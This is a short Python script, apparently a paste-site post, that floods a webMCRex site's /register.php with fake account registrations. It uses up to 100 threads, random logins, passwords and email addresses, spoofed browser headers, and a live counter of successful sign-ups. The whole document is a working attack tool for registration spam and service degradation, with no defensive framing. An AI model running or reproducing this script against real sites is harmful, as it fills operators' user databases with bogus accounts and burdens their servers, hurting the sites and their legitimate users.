· 7 years ago · May 03, 2018, 05:42 PM
1#!/usr/bin/env python3
2
3import requests
4import threading
5import random
6import string
7import time
8
9print('Enter URL of the webMCRex site. Including protocol, but without slash on the end.')
10print('Example: https://example.com')
11URL = input('URL: ')
12if URL == '' or URL[-1] == '/' or URL[0:4] != 'http':
13 exit('IDIOT!')
14
15print('Set amount of threads. Recommended value is 10-20.')
16THREADS = input('Threads [10]: ')
17if THREADS == '':
18 THREADS = 10
19else:
20 THREADS = int(THREADS)
21if THREADS < 1 or THREADS > 100:
22 exit('WTF A U DOING?')
23
24# Generates random string from 5 to 14 symbols length
25def random_string():
26 length = random.randint(5, 14)
27 return ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(length)])
28
29# Returns one of the listed providers
30def random_mail_provider():
31 return random.choice(('mail.ru', 'bk.ru', 'gmail.com', 'yandex.ru', 'ya.ru', 'yahoo.com'))
32# Stats
33successful_requests = 0
34failed_requests = 0
35
36headers = {
37 'Origin': URL,
38 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/61.0.3163.79 Chrome/61.0.3163.79 Safari/537.36',
39 'Content-Type': 'application/x-www-form-urlencoded',
40 'Accept': '*/*',
41 'Referer': URL + '/register.php',
42 'Accept-Encoding': 'gzip, deflate',
43 'Accept-Language': 'en-US,en;q=0.8,ru;q=0.6'
44}
45
46def flood():
47 global successful_requests, failed_requests, URL
48 while True:
49 salt = random_string()
50 data = {
51 'login': salt,
52 'pass': salt + '1',
53 'repass': salt + '1',
54 'email': random_string() + '@' + random_mail_provider(),
55 'female': random.randint(0, 1)
56 }
57 time.sleep(2)
58 r = requests.post(URL + '/register.php', headers=headers, data=data)
59 if r.status_code == 200:
60 if '"code":0' in r.text:
61 successful_requests += 1
62 else:
63 failed_requests += 1
64
65# Spawn threads
66for _ in range(THREADS):
67 threading.Thread(target=flood, daemon=True).start()
68
69# Show stats
70while True:
71 try:
72 print('Successful:', successful_requests, 'Failed:', failed_requests, end='\r')
73 time.sleep(1)
74 except KeyboardInterrupt:
75 print('\n\nStopped.')
76 exit()